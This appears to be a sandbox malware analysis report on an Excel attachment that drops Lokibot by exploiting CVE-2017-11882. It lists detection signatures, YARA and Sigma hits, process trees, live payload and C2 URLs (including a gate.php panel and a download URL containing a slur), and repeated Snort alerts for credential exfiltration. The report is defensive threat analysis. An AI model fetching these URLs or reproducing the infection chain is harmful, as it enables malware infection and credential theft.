Play interactive tour

Edit tour

Analysis Report MV NAGOYA TRADER.xlsx

Overview

General Information

Sample Name:	MV NAGOYA TRADER.xlsx
Analysis ID:	332678
MD5:	dd41f88e3d53755f0aa1318bf473d08b
SHA1:	54ccf49aaf860ab2531b37dd38adc0273b6f2551
SHA256:	6f68432c8c109e52980cef46236114266c97a5791808053b07a943d7686f8f55
Tags:	LokiVelvetSweatshopxlsx
Most interesting Screenshot:

Detection

Lokibot

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Sigma detected: Droppers Exploiting CVE-2017-11882

Sigma detected: EQNEDT32.EXE connecting to internet

Sigma detected: File Dropped By EQNEDT32EXE

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Yara detected AntiVM_3

Yara detected Lokibot

Binary contains a suspicious time stamp

Drops PE files to the user root directory

Found C&C like URL pattern

Injects a PE file into a foreign processes

Machine Learning detection for dropped file

Office equation editor drops PE file

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Sigma detected: Executables Started in Suspicious Folder

Sigma detected: Execution in Non-Executable Folder

Sigma detected: Suspicious Program Location Process Starts

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file access)

Tries to steal Mail credentials (via file registry)

Yara detected aPLib compressed binary

Allocates a big amount of memory (probably used for heap spraying)

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Contains functionality to call native functions

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Document misses a certain OLE stream usually present in this Microsoft Office document type

Downloads executable code via HTTP

Drops PE files

Drops PE files to the user directory

Enables debug privileges

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Office Equation Editor has been started

Potential document exploit detected (performs DNS queries)

Potential document exploit detected (performs HTTP gets)

Potential document exploit detected (unknown TCP traffic)

Queries the volume information (name, serial number etc) of a device

Searches the installation path of Mozilla Firefox

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Startup

System is w7x64

EXCEL.EXE (PID: 2520 cmdline: 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding MD5: 5FB0A0F93382ECD19F5F499A5CAA59F0)

EQNEDT32.EXE (PID: 2320 cmdline: 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding MD5: A87236E214F6D42A65F5DEDAC816AEC8)

vbc.exe (PID: 2952 cmdline: 'C:\Users\Public\vbc.exe' MD5: 3EE960D7D595C82B47CE28164AFED056)

vbc.exe (PID: 3040 cmdline: {path} MD5: 3EE960D7D595C82B47CE28164AFED056)

cleanup

Malware Configuration

No configs have been found

Yara Overview

Memory Dumps

Source	Rule	Description	Author	Strings
00000005.00000002.2391430230.0000000000400000.00000040.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000005.00000002.2391430230.0000000000400000.00000040.00000001.sdmp	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
00000005.00000002.2391430230.0000000000400000.00000040.00000001.sdmp	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
00000005.00000002.2391430230.0000000000400000.00000040.00000001.sdmp	Loki_1	Loki Payload	kevoreilly	0x151b4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x153fc:$a2: last_compatible_version
00000005.00000002.2391430230.0000000000400000.00000040.00000001.sdmp	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x13bff:$des3: 68 03 66 00 00 0x187f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x188bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
00000004.00000002.2196353588.0000000002648000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.2196353588.0000000002648000.00000004.00000001.sdmp	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
00000004.00000002.2196353588.0000000002648000.00000004.00000001.sdmp	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
00000004.00000002.2196353588.0000000002648000.00000004.00000001.sdmp	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x47697:$des3: 68 03 66 00 00 0x4ba94:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x4bb60:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
00000004.00000002.2195981464.0000000002377000.00000004.00000001.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
00000004.00000002.2196847340.0000000003C0A000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.2196847340.0000000003C0A000.00000004.00000001.sdmp	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
00000004.00000002.2196847340.0000000003C0A000.00000004.00000001.sdmp	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
00000004.00000002.2196847340.0000000003C0A000.00000004.00000001.sdmp	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x162fdf:$des3: 68 03 66 00 00 0x1673d0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x16749c:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
Process Memory Space: vbc.exe PID: 3040	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: vbc.exe PID: 3040	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
Process Memory Space: vbc.exe PID: 3040	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
Process Memory Space: vbc.exe PID: 2952	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: vbc.exe PID: 2952	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
Process Memory Space: vbc.exe PID: 2952	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
Click to see the 15 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
5.2.vbc.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
5.2.vbc.exe.400000.0.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
5.2.vbc.exe.400000.0.unpack	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
5.2.vbc.exe.400000.0.unpack	Loki_1	Loki Payload	kevoreilly	0x13db4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x13ffc:$a2: last_compatible_version
5.2.vbc.exe.400000.0.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x12fff:$des3: 68 03 66 00 00 0x173f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x174bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
5.2.vbc.exe.400000.0.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
5.2.vbc.exe.400000.0.raw.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
5.2.vbc.exe.400000.0.raw.unpack	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
5.2.vbc.exe.400000.0.raw.unpack	Loki_1	Loki Payload	kevoreilly	0x151b4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x153fc:$a2: last_compatible_version
5.2.vbc.exe.400000.0.raw.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x13bff:$des3: 68 03 66 00 00 0x187f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x188bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
Click to see the 5 entries

Sigma Overview

System Summary:

Sigma detected: Droppers Exploiting CVE-2017-11882

Show sources

Source: Process started

Author: Florian Roth: Data: Command: 'C:\Users\Public\vbc.exe' , CommandLine: 'C:\Users\Public\vbc.exe' , CommandLine|base64offset|contains: , Image: C:\Users\Public\vbc.exe, NewProcessName: C:\Users\Public\vbc.exe, OriginalFileName: C:\Users\Public\vbc.exe, ParentCommandLine: 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding, ParentImage: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ParentProcessId: 2320, ProcessCommandLine: 'C:\Users\Public\vbc.exe' , ProcessId: 2952

Sigma detected: EQNEDT32.EXE connecting to internet

Show sources

Source: Network Connection

Author: Joe Security: Data: DestinationIp: 103.141.138.119, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, Initiated: true, ProcessId: 2320, Protocol: tcp, SourceIp: 192.168.2.22, SourceIsIpv6: false, SourcePort: 49167

Sigma detected: File Dropped By EQNEDT32EXE

Show sources

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ProcessId: 2320, TargetFilename: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\svchost[1].exe

Sigma detected: Executables Started in Suspicious Folder

Show sources

Source: Process started

Sigma detected: Execution in Non-Executable Folder

Show sources

Source: Process started

Sigma detected: Suspicious Program Location Process Starts

Show sources

Source: Process started

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Antivirus detection for URL or domain

Show sources

Source: http://chnesstdyqudusisabadassniggainthestfmv.ydns.eu/secure/svchost.exe

Avira URL Cloud: Label: malware

Multi AV Scanner detection for domain / URL

Show sources

Source: begadi.ga	Virustotal: Detection: 12%	Perma Link
Source: http://chnesstdyqudusisabadassniggainthestfmv.ydns.eu/secure/svchost.exe	Virustotal: Detection: 6%	Perma Link
Source: http://begadi.ga/chud/gate.php	Virustotal: Detection: 13%	Perma Link

Multi AV Scanner detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\svchost[1].exe	ReversingLabs: Detection: 32%
Source: C:\Users\Public\vbc.exe	ReversingLabs: Detection: 32%

Multi AV Scanner detection for submitted file

Show sources

Source: MV NAGOYA TRADER.xlsx	Virustotal: Detection: 31%			Perma Link
Source: MV NAGOYA TRADER.xlsx	ReversingLabs: Detection: 25%

Machine Learning detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\svchost[1].exe	Joe Sandbox ML: detected
Source: C:\Users\Public\vbc.exe	Joe Sandbox ML: detected

Exploits:

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Show sources

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Process created: C:\Users\Public\vbc.exe

Source: unknown

Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding

Source: C:\Users\Public\vbc.exe

Code function: 5_2_00403D74 FindFirstFileW,FindNextFileW,FindFirstFileW,FindNextFileW,

Source: excel.exe

Memory has grown: Private usage: 4MB later: 35MB

Source: C:\Users\Public\vbc.exe	Code function: 4x nop then jmp 006E612Dh
Source: C:\Users\Public\vbc.exe	Code function: 4x nop then jmp 006E612Dh

Source: global traffic

DNS query: name: chnesstdyqudusisabadassniggainthestfmv.ydns.eu

Source: global traffic

TCP traffic: 192.168.2.22:49167 -> 103.141.138.119:80

Source: global traffic

TCP traffic: 192.168.2.22:49167 -> 103.141.138.119:80

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic	Snort IDS: 2022550 ET TROJAN Possible Malicious Macro DL EXE Feb 2016 192.168.2.22:49167 -> 103.141.138.119:80
Source: Traffic	Snort IDS: 2024312 ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1 192.168.2.22:49168 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49168 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49168 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2024317 ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M2 192.168.2.22:49168 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.22:49168 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2024312 ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1 192.168.2.22:49169 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49169 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49169 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2024317 ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M2 192.168.2.22:49169 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.22:49169 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49170 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49170 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49170 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49170 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.22:49170 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.193.143.118:80 -> 192.168.2.22:49170
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49171 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49171 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49171 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49171 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.22:49171 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.193.143.118:80 -> 192.168.2.22:49171
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49172 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49172 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49172 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49172 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.22:49172 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.193.143.118:80 -> 192.168.2.22:49172
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49173 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49173 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49173 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49173 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.22:49173 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.193.143.118:80 -> 192.168.2.22:49173
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49174 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49174 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49174 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49174 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.22:49174 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.193.143.118:80 -> 192.168.2.22:49174
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49175 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49175 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49175 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49175 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.22:49175 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.193.143.118:80 -> 192.168.2.22:49175
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49176 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49176 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49176 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49176 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.22:49176 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.193.143.118:80 -> 192.168.2.22:49176
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49177 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49177 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49177 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49177 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.22:49177 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.193.143.118:80 -> 192.168.2.22:49177
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49178 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49178 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49178 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49178 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.22:49178 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.193.143.118:80 -> 192.168.2.22:49178
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49179 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49179 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49179 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49179 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.22:49179 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.193.143.118:80 -> 192.168.2.22:49179
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49180 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49180 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49180 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49180 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.22:49180 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.193.143.118:80 -> 192.168.2.22:49180
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49181 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49181 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49181 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49181 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.22:49181 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.193.143.118:80 -> 192.168.2.22:49181
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49182 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49182 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49182 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49182 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.22:49182 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.193.143.118:80 -> 192.168.2.22:49182
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49183 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49183 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49183 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49183 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.22:49183 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.193.143.118:80 -> 192.168.2.22:49183
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49184 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49184 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49184 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49184 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.22:49184 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.193.143.118:80 -> 192.168.2.22:49184
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49185 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49185 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49185 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49185 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.22:49185 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.193.143.118:80 -> 192.168.2.22:49185
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49186 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49186 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49186 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49186 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.22:49186 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.193.143.118:80 -> 192.168.2.22:49186
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49187 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49187 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49187 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49187 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.22:49187 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.193.143.118:80 -> 192.168.2.22:49187
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49188 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49188 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49188 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49188 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.22:49188 -> 185.193.143.118:80
